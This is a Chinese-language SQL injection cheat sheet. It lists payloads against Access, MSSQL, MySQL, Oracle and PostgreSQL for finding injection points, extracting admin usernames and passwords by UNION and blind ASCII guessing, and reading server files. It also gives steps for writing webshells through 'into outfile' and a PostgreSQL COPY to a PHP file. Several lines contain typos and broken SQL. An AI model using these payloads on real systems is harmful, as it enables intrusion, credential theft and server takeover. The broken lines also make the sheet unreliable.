后缀名:*.mdb 有的改为.asp
判断注入点:‘ and 1=1 and 1=2 or 1=1 or 1=2
判断数据库 and exists(select*from msysobjects)>0 acess and exists(select*from sysobjects)>0 sqlsever
判断数据库表
and exists(select*from admin)
报错
and 1=2 union select 1,2,3,4,5,6,7,8,9 from admin
数据库联合查询
and 1=2 union select 1,2,admin,4,5,6,7,password,9 from admin
判断账户密码长度
and (select len(admin)from admin)=5 返回正常说明账户长度为5
and(select len(password)from admin)=5 才接管理员密码长度是否为5
猜解管理员账号密码第一个数据通过判断ascii码
and(select top 1 asc(mid(admin,1,1))from admin)>100 正常大于不正常小于
and(select top 1 asc(mid(admin,2,1))from admin)>100 正常大于不正常小于
and(select top 1 asc(mid(password,1,1))from admin)>100 正常大于不正常小于
and(select top 1 asc(mid(passeord,1,1))from admin)>100 正常大于不正常小于
偏移注入(猜到表名,列明猜不到)
1.用*代替
代入公式 22-16=6
10+6*2=22
4+6*3=22
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,*from(admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,a.id,b.id,c.id*from((admin as a inner join admin as b on s.id=b.id)inner join admin as c on a.id=c.id
2.后阳台登陆文件源码表单里面的参数值
看网站渎职链接上的规则
是否判断出对方使用的cms程序
默认端口:1433
服务:services.msc
数据库权限:sa:增删改查
db:文件管理,数据库操作等users-administrators
punlic权限:数据库操作guest-users
判断是否又注入:
and 1=1 and1=2
判断是否是mssql
and user>0
判断数据库系统
and(select count(*)from sysobjects)>0
注入参数是字符:'and[查询条件]and"='
搜索时没有过滤参数:'and[查询条件]and’%25‘='
猜表名:and(select Count(*)from[表明])>0
猜字段:and(select Count(字段名)from[表明])>0
猜字段中记录长度:and(select top 1 len(字段名)from 表明)>0
猜字段的acsii值:and(select top 1 unicode(substring(字段名,1,1))from 表名)>0
注入语句
and 1=(select @@version)
and 1=(select db_name)
数据库名 and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<>'上一个用户数据库名')
数据库表 and 1=(select top 1 name from sysobjects where xtype='u'and name<>'上一个表')
数据库列 and 1=(select top 1 name from syscolumns where id=(select is from sysobjects where name='表名')and name<>'上个列名')
获取表第一个数据用户名: and 1=(select top 1 unname from users)
获取表第二个数据密码:and 1=(select top 1 upass from users)
获取表第二个数据密码:and 1=(select top 1 upass from users)
mysql:
判断注入点:and 1=1 返回正常
and 1=2 返回不正常
判断字段长度:
order by 21 正常 order by 22 不正常 说明长度为21
报错
and 1=2 union select 1,2,3,4,5,6 from information_schema.tables
包基本信息:
database():数据库名
version():数据库版本
user():数据库用户
@@version_compile_os:操作系统
列表名:and 1=2 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=0x6D757469613031231
爆列名:and 1=2 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=0x6D757469613031231
列字段内容:and 1=2 union select 1,group_concat(name,0x5c,adminpass),3,4,5,6 from admin
Mysql4.0注入:
用sqlmap
load_file():读取源文件的函数,只能读取绝对路径的网页文件
注意: '\'错误 '\\'正确 "/"正确
转换为16进制,就不要"
找绝对路径 C:/windows/system32/instsrv/metabase.xml
into outfile可以直接写一句话木马,写绝对路径
oracle:
and (select count(*) from admin)>0 返回正确 存在这个admin表
and (select count(pwd) from admin)>0 返回正确 存在这个pwd列
name字段的长度 and (select count(*) from admin where length(name)>=5)=1
name字段的第一个字符的acsii码 and (select count(*) from admin where ascii(substr(name,1,1))>=9)=1
name字段的第二个字符的ascii码 and (select count(*) from admin where ascii(substr(name,2,1))>=9)=1
and (select count(*) from admin where length(pwd)>=9)=1 返回正常,pwd长度为9,可以判断出明文
pwd字段的第一个字符的acii码 and (select count(*) from admin where ascii(substr(pwd,1,1))>=9)=1
postgresql注入:
··and 1=cast(version() as int)获取数据库版本信息
··and 1=cast(user||123 as int)获取当前用户名 postgres用户相当于root权限
··创建表 ;creat table xxx(w text not null);
··插马: ;insert into xxx values($$$$)
··写文件: ;copy xxx(w) to $$/home/kasugai_tochi/public_html/script/cracer.php$$;